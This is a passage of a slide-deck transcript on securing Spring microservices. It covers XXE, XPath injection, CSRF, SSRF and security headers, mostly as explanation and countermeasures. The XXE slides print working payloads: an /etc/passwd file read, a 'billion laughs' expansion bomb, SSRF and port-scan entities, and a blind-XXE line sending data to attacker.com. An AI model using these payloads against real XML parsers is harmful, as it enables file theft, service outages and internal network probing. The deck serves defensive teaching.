    encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo> Data Exfiltration: An attacker can leverage XML entities to disclose internal files. This is the most common use case for XXE. In the above code, an attacker tries to read the /etc/passwd file from a Unix-based system. If the XML processor is configured improperly and parses this XML, it can end up sending the contents of that file back to the attacker. <!ELEMENT foo ANY >: This is an element declaration within the DTD. A foo element can contain any content (i.e., ANY). <!ENTITY xxe SYSTEM "file:///etc/passwd" >]: This is where things get interesting. It's an entity declaration that creates an entity named xxe. The SYSTEM keyword means it's an external entity, and the provided URL (file:///etc/passwd) indicates where the entity's value/content should be fetched from. In this case, it's trying to fetch the contents of the /etc/passwd file, a well-known Unix file containing user account details (though, importantly, not password hashes in modern systems). <foo>&xxe;</foo> In XML, the use of & followed by a name and a ; is an entity reference. It tells the XML parser to replace that reference with the value of the specified entity. The &xxe; is an entity reference that refers to the xxe entity that was previously defined in the document's DTD. <!DOCTYPE foo [: This begins the definition of a Document Type Declaration (DTD) for an XML document. foo is the name of the root element for documents of this type.
  261. @arafkarsh arafkarsh 10. XXE Exploit: DoS Attack 311 <?xml version="1.0"?>

    <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
  262. @arafkarsh arafkarsh 10. XXE Exploit: Server-Side Request Forgery (SSRF) 312

    <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM " https://internal.example.com/admin" >]> <foo>&xxe;</foo> An attacker can make the server issue requests to other internal resources, potentially bypassing firewalls or disclosing internal systems. This might be used to access an internal admin panel or API that's not normally accessible from the outside.
  263. @arafkarsh arafkarsh 10. XXE Exploit: Port Scanning 313 <?xml version="1.0"

    encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM " https://server:9090" >]> <foo>&xxe;</foo> Attackers can determine which ports are open on the server or on related servers.
  264. @arafkarsh arafkarsh 10. XXE Exploit: Blind XXE 314 <?xml version="1.0"

    encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "https://attacker.com?exfil=<INTERNAL DATA>" >]> <foo>&xxe;</foo> This is used to exfiltrate data even when the application doesn't display the output of the XML parsing. This typically involves making the server reach out to a malicious domain. The attacker would look for requests to their domain (attacker.com) to see the exfiltrated data
  265. @arafkarsh arafkarsh 10. XXE: Code Fix 316 1. Disable DTD

    2. Disable Extern General Entities – Not to process External General Entities 3. Disable External Parameter Entities – They can’t be used within the main XML Content.
  266. @arafkarsh arafkarsh 10. XXE: Code Fix 317 1. Disable DTD

    2. Disable Extern General Entities – Not to process External General Entities 3. Disable External Parameter Entities – They can’t be used within the main XML Content.
  267. @arafkarsh arafkarsh 11. XPath Injection 318 XPath Injection is an

    attack technique that exploits applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents. XPath Injection attacks are similar to SQL Injection attacks in that they exploit the same input validation vulnerabilities but exploit the XPath query language used by XML applications. • XPath Injection attacks can extract confidential data from an application's database. XPath Injection can also be used to modify content in the database, which may result in web defacement or system compromise. • XPath Injection can bypass authentication or authorization functions or act as a stepping-stone toward other attacks. • XPath Injection can execute arbitrary system commands, which may result in total system compromise. • XPath Injection can access local or remote files and services through the XML document.
  268. @arafkarsh arafkarsh 11. XPath: How it Works 319 1.User Input

    in Queries: Like SQL injection, XPath injection attacks occur when a web application constructs an XPath query with unsafe user input. 2.Manipulating Query Logic: An attacker can manipulate the logic of the XPath query, leading to unintended consequences. This could be gaining unauthorized access, bypassing authentication, or retrieving sensitive data.
  269. @arafkarsh arafkarsh 11. XPath: Potential Damages 320 1. Data Theft:

    An attacker can modify the XPath query to return sensitive data from the XML source they shouldn't have access to. This could include user, configuration, or any other stored data. 2. Bypassing Authentication: Some applications may use XML data sources to store user credentials. An attacker can manipulate XPath queries to bypass authentication. For instance, an attacker might provide a value that always returns true for a login check. 3. Data Tampering: While XPath is primarily a query language, it can also be used in contexts where data gets written or updated. An attacker could modify XML data if the system is designed insecurely. 4. Denial of Service (DoS): By injecting certain types of payload, attackers can create XPath queries that are highly resource-intensive, leading to denial-of-service attacks. 5. Execution of Malicious Code: In specific scenarios, especially when combined with other vulnerabilities, an attacker might be able to leverage an XPath Injection vulnerability to execute malicious code.
  270. @arafkarsh arafkarsh 11. XPath: Counter Measures 321 1. Input Validation:

    Use a strong type, white-list input validation. Ensure user input matches the expected format before incorporating it into an XPath query. 2. Use Parameterized Queries: Similar to using prepared statements in SQL, using APIs or libraries that support parameterized XPath expressions can prevent injection. 3. Least Privilege: Ensure that the XML data source user account used by the web application has the least privilege necessary. 4. Sanitize Input: If user input is used in an XPath query, ensure that special characters are properly escaped or removed. 5. Avoid Displaying Errors: Do not display detailed error messages to end users. Attackers can glean important information from error messages that can help refine their attack. 6. Regularly Update Software: Regularly update all software, especially XML processors, to protect you from known vulnerabilities.
  271. @arafkarsh arafkarsh 11. XPath: Understanding the Fix 324 1. xpath.setXPathVariableResolver(...):

    This method sets a custom variable resolver to the XPath object. When the XPath expression is evaluated, and it encounters a variable, this resolver is called to determine the value of that variable. 2. public Object resolveVariable(QName variableName): This method implements the XPathVariableResolver interface. It is called when the Xpath engine encounters a variable during its evaluation. 3. If (“username”.equals(variableName.getLocalPart())): This checks if the encountered variable in the Xpath expression has the name “username”. 4. Return username;: If the variable’s name is “username”, it returns the value of the username variable from the enclosing method’s scope. 5. Return null;: If the variable’s name is not “username”, it returns null. In a more complex system, you might have multiple checks for different variable names. 6. Using the XPathVariableResolver, you can dynamically set the values of variables in your XPath expression from your Java code. This can be especially useful for preventing XPath Injection, as you can safely bind values without concatenating strings.
  272. @arafkarsh arafkarsh 11. Cross-Site Request Forgery (CSRF) 325 Cross-Site Request

    Forgery (CSRF) is a web security vulnerability that tricks the victim into performing an unintended action in an application where they're currently authenticated. This can result in unwanted state changes, like changing an authenticated user’s email address or password or even performing financial transactions. How CSRF attack works: 1. The attacker tricks the victim into clicking a link or loading an image. 2. The victim's browser sends a request to the targeted web application where the victim is already authenticated, often including any cookies or authentication tokens automatically. 3. The web application cannot distinguish this legitimate-looking request from one the authenticated user might make.
  273. @arafkarsh arafkarsh 11. Microservices 326 Stateless Microservices and JWT: Microservices

    are often designed to be stateless for scalability reasons. This means they don't retain client- specific data between requests; each request contains all the information the microservice needs to process it. JSON Web Tokens (JWT) are a compact way to represent claims between two parties and are often used in stateless microservices architectures for authentication and authorization.
  274. @arafkarsh arafkarsh 11. CSRF & Microservices 327 Are Stateless Microservices

    with JWT immune to CSRF? JWT tokens provide some inherent protection against CSRF, especially when not using cookies to store JWT. Here's why: 1. No Automatic Token Transmission: Unlike cookies, browsers automatically attach to every request to a domain. JWTs stored in local storage or session storage aren't automatically included in every request to a domain. The application has to attach the JWT to the request header explicitly. This means an attacker can’t simply trick a victim’s browser into making an authenticated request with a JWT, as they can with cookies. 2. Same Origin Policy: Storing JWT in local storage or session storage means it’s subject to the same-origin policy. An attacker’s website cannot read or modify the JWT stored locally on another domain. However, if a microservice or application stores the JWT inside a cookie (a practice some applications might adopt for easier handling of the JWT on the client side), CSRF becomes a potential concern. Even if the microservice is stateless, cookies can make it vulnerable.
  275. @arafkarsh arafkarsh 11. CSRF: Counter Measures 328 1. Don't Store

    JWT in Cookies: The most straightforward way to prevent CSRF in a JWT-based system is to store the JWT in local storage or session storage, not in cookies. 2. CSRF Tokens: If, for some reason, you must store JWT or session identifiers in cookies, use anti-CSRF tokens. This random token is included as a hidden field in every form submitted to the server. Before processing the form, the server checks that the token is present and correct. Since the attacker can't predict this token, they can't craft a valid form submission. 3. SameSite Cookie Attribute: Modern browsers support the SameSite attribute on cookies, which can prevent the browser from sending the cookie in cross-site requests. This is another layer of protection against CSRF. 4. Check the Origin Header: For requests that may change state (POST, PUT, DELETE), check the Origin header to ensure the request comes from your front- end application and not a third-party site.
  276. @arafkarsh arafkarsh 11. CSRF: Code Fix 329 A new CSRF

    token is created and saved in the session, it will also be added as a response header named X-CSRF-TOKEN
  277. @arafkarsh arafkarsh 11. CSRF: Code Fix 330 Configure Spring Security

    by Extending the WebSecurityConfigurerAdapter o How this leads to another problem when you want Horizontal Scalability! o What are the possible solutions?
  278. @arafkarsh arafkarsh 11. CSRF – Horizontal Scalability 331 1. How

    Sessions Typically Work with Multiple Instances: When you run multiple server instances behind a load balancer, you must ensure that session data is shared between all instances, so any instance can handle a request, regardless of which instance created the session. This can be achieved using a shared session store. 2. Using Redis for Session Management: Redis is famous for distributed session management in such scenarios because of its high- speed in-memory data structure storage capabilities. 3. Redis to store sessions (and CSRF tokens within those sessions): 1. Instead of storing session data in the local application server’s memory, you store it in Redis. 2. Each application instance connects to the same Redis instance (or cluster) and retrieves or sets session data from/to Redis. 3. When a user’s request comes into any application instance, that instance checks Redis for the session data, ensuring continuity across requests even if different servers handle them.
  279. @arafkarsh arafkarsh 11. CSRF: Redis Storage 332 1. Storing CSRF

    Tokens in Redis: By moving to a Redis-based session management, CSRF tokens (part of the session data) will also be stored in Redis. This ensures that even if a user's subsequent request (with the CSRF token) goes to a different application instance than the one that generated the token, the token will still be validated correctly, as all instances are looking at the same session store in Redis. 2. Setting Up Redis Session Management in Spring Boot: Spring Boot makes it relatively easy to set up Redis-based session management: 1. Add the required dependencies to your pom.xml: <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-data-redis</artifactId> </dependency> <dependency> <groupId>org.springframework.session</groupId> <artifactId>spring-session-data-redis</artifactId> </dependency>
  280. @arafkarsh arafkarsh 11. CSRF: Redis Storage 333 1. Configure your

    App 1. Configure the connection to your Redis instance in application.properties or application.yml. 2. Annotate your main Spring Boot application class with @EnableRedisHttpSession. 2. This will configure your Spring Boot app to use Redis for session management. CSRF tokens, being part of the session, will also be stored in Redis. 3. Redis provides a centralized session store that addresses the session distribution problem and introduces a single point of failure. 4. Consider using Redis in a clustered mode or ensure adequate failover mechanisms are in place.
  281. @arafkarsh arafkarsh 11. CSRF: Code Fix 334 Suppose you want

    CSRF validation specifically for a particular GET request while maintaining CSRF validation for standard state-changing operations (like POST requests). In that case, you can customize the requireCsrfProtectionMatcher method to include that specific GET endpoint.
  282. @arafkarsh arafkarsh 11. CSRF: Code Fix 335 1. Request Path

    Matching: If the request path matches /path and the HTTP method is GET (as per your custom matcher), the CSRF check will be triggered. 2. Token Check: Spring Security will look for the CSRF token in the request. By default, it checks for the token in the request parameters with the parameter name _csrf. Spring Security will look for it if you’ve customized the location, like setting it in the header (a common approach with AJAX requests). 3. Token Absence or Mismatch: If the token is absent or doesn't match the token on the server, Spring Security will throw a CsrfException. The user will typically receive a 403 Forbidden response.
  283. @arafkarsh arafkarsh 12. Server-Side Request Forgery (SSRF) 336 SSRF is

    a vulnerability that allows an attacker to trigger the server to make unintended requests to other servers, often bypassing firewall restrictions and accessing services from the server's local network. This can lead to sensitive information disclosure, internal network enumeration, or even remote code execution. For example, imagine a web application that fetches the content of a URL provided by the user. An attacker could abuse this to make the server retrieve the content of an internal, potentially sensitive URL, like AWS metadata, which can contain sensitive information.
  284. @arafkarsh arafkarsh 12. SSRF: Counter Measures 337 1. Whitelisting URLs:

    Only allow connections to known, safe URLs. 2. Disallow Private IP Ranges: Block requests to private IP ranges to prevent access to internal network resources. 3. Limit HTTP Methods: Only allow safe HTTP methods (e.g., GET) if necessary. 4. Use a Proxy: Force all outbound requests to go through a proxy. 5. Timeouts: Implement reasonable timeouts for outbound requests to avoid long-lasting connections that can be used for DoS. 6. Monitoring and Logging: Log all outbound requests to detect and respond to potential SSRF attempts.
  285. @arafkarsh arafkarsh 12. SSRF: Code Fix 339 Fix: 1. Use

    a list of allowed hosts or domains. 2. Block private IP addresses. 3. Implement a timeout for the request.
  286. @arafkarsh arafkarsh Spring Security o Security Features o Cross-Site Request

    Forgery o Handling iFrames o Cross-Site Scripting o Mime Attacks o Content Security Policy 340
  287. @arafkarsh arafkarsh Spring Security – 1 of 3 341 1.

    Flexible Authentication Mechanisms: Spring Security provides multiple authentication mechanisms, but the stateless JWT (JSON Web Tokens) authentication becomes critical for microservices. 2. Stateless Authentication: Since microservices aim to be stateless for scalability, using JWTs ensures there's no session state stored on the server between requests. Every request comes with a token that the server verifies. 3. Declarative Security on Methods and URLs: You can secure methods or REST endpoints using annotations such as @PreAuthorize or @Secured. This makes it easy to define role-based access controls at the granularity of specific operations or endpoints. 4. OAuth2 Integration: With Spring Security, you can set up your microservices as OAuth2 clients, or even as an authorization server. OAuth2 and JWT often go hand in hand in microservice architectures. 5. Filter Chain: Spring Security works by applying a series of filters to incoming requests. This is particularly useful for JWT as a custom JWT processing filter can be inserted into this chain to handle JWT extraction and validation.
  288. @arafkarsh arafkarsh Spring Security – 2 of 3 342 6.

    Exception Handling: Proper authentication and authorization exception handling mechanisms can be integrated, ensuring that unauthorized or unauthenticated requests receive proper HTTP error codes and messages. 7. Integration with Spring Cloud: When combined with Spring Cloud, additional security features can be employed, such as gateway-based authentication and secure service- to-service communication. 8. Cross-Site Request Forgery (CSRF) Protection: For services that might be accessed from web browsers, Spring Security offers CSRF protection out-of-the-box. 9. CORS Configuration: Spring Security provides a way to set up Cross-Origin Resource Sharing (CORS) configurations to control and secure the access of microservices from different origins. 10. Security Events and Sessions: Spring Security fires events on various activities, such as login success or failure, which can be captured for monitoring or logging purposes.
  289. @arafkarsh arafkarsh Spring Security – 3 of 3 343 11.

    Method Security: Beyond URL-based security, Spring Security can secure method calls based on the role, authentication, or other conditions. 12. Password Encoding: Spring Security offers a plethora of password encoding and decoding mechanisms, critical for securely storing and verifying user passwords. 13. SSL/TLS Configuration: Ensuring encrypted communication between services, Spring Security aids in establishing and enforcing SSL/TLS. 14. Content Negotiation: Since microservices often expose RESTful APIs that serve different types of content (like JSON or XML), Spring Security plays well with Spring's content negotiation features. 15. Actuator Security: If Spring Boot’s actuator endpoints are used to monitor and manage microservices, it can secure them, ensuring that only authorized personnel can access them.
  290. @arafkarsh arafkarsh Spring Security: CSRF 345 Cross-Site Request Forgery This

    line configures the Cross-Site Request Forgery (CSRF) protection using a header-based CSRF token repository. This is the recommended approach for CSRF protection. It will cause the server to generate a CSRF token and set it as a header named X-CSRF-TOKEN. The client must then read the token from the header and send it as a request header named X-CSRF-TOKEN with each request. The server will then validate the token to ensure the request is not a CSRF attack.
  291. @arafkarsh arafkarsh Spring Security: iFrames 346 X-Frame-Options X-Frame-Options is a

    security header to protect your website against "click-jacking" attacks. Click-jacking is a malicious technique of tricking web users into revealing confidential information or taking control of their interaction with the website by loading your website in an iframe of another website and then overlaying it with additional content.
  292. @arafkarsh arafkarsh Spring Security: XSS 347 1. xssProtection(): This method

    configures the X-XSS-Protection HTTP header. Microsoft introduced the X-XSS-Protection header in Internet Explorer 8 as a way to enable the browser's built-in Cross-Site Scripting (XSS) filter. 2. block(true): The block(true) method configures the X-XSS-Protection header to have a value of 1; mode=block. When this value is set, the browser will not only detect potential XSS attacks but also prevent the rendering of the page if an attack is detected (i.e., it will "block" the page). 3. Not all modern browsers respect the X-XSS-Protection header, with some deprecating it in favor of the more robust Content-Security-Policy header.
  293. @arafkarsh arafkarsh Spring Security: Mime Attacks 348 MIME-type Confusion Attack

    Web servers send a Content-Type header to inform the browser about the type of data being sent (e.g., text/html, text/css, application/javascript). Browsers, in an attempt to be helpful, sometimes perform MIME sniffing. This means that if a browser receives a resource and suspects the Content-Type might be incorrect, it tries to guess the right one. By using the X-Content-Type-Options: nosniff header, the server tells the browser not to perform MIME-type sniffing, i.e., to trust the provided Content-Type header and not guess or change the MIME type.
  294. @arafkarsh arafkarsh Spring Security: Content Security Policy 349 The Content

    Security Policy (CSP) is a security feature implemented in web browsers. Its primary goal is to mitigate the risk of cross-site scripting (XSS) and other code injection attacks. By defining a set of rules for how resources on a web page can be loaded, CSP helps prevent unauthorized script execution and resource loading. In the context of Spring, and more specifically Spring Security, there are provisions to easily set the CSP header in HTTP responses to guide browsers on what resources are allowed or disallowed.
  295. @arafkarsh arafkarsh CSP: How it works 350 CSP works by

    defining a set of directives as a policy. This policy is sent to the browser as an HTTP header named Content-Security-Policy. These directives tell the browser where resources can be loaded from, which scripts are allowed to execute, which styles can be applied, etc. 1. By default (default-src), only allow resources from the same origin. 2. Allow scripts (script-src) to be loaded from the same origin and hostname. 3. Allow images (img-src) to be loaded from the same origin and img. hostname. 4. Allow styles (style-src) only from the same origin.
  296. @arafkarsh arafkarsh CSP: Benefits and Drawbacks 351 Benefits: 1. Mitigating

    XSS: Since CSP can control which scripts can run, it offers a robust defense against XSS attacks. 2. Control over resources: You can specify from where various types of resources (scripts, styles, images, fonts, etc.) can be loaded. 3. Inline script control: You can control the execution of inline scripts, which are often used in XSS attacks. 4. Plugin control: You can control which plugins can run and from where they can be loaded. Drawbacks: 1. Complexity: CSP can be complex and might require careful tuning to not break legitimate functionalities of the application. 2. Legacy browser support: Not all browsers, especially older versions, support CSP.
  297. @arafkarsh arafkarsh 353 Thank you DREAM | AUTOMATE | EMPOWER

    Araf Karsh Hamid : India: +91.999.545.8627 http://www.slideshare.net/arafkarsh https://speakerdeck.com/arafkarsh https://www.linkedin.com/in/arafkarsh/ https://www.youtube.com/user/arafkarsh/playlists http://www.arafkarsh.com/ @arafkarsh arafkarsh
  298. @arafkarsh arafkarsh 356 Design Patterns are solutions to general problems

    that software developers faced during software development. Design Patterns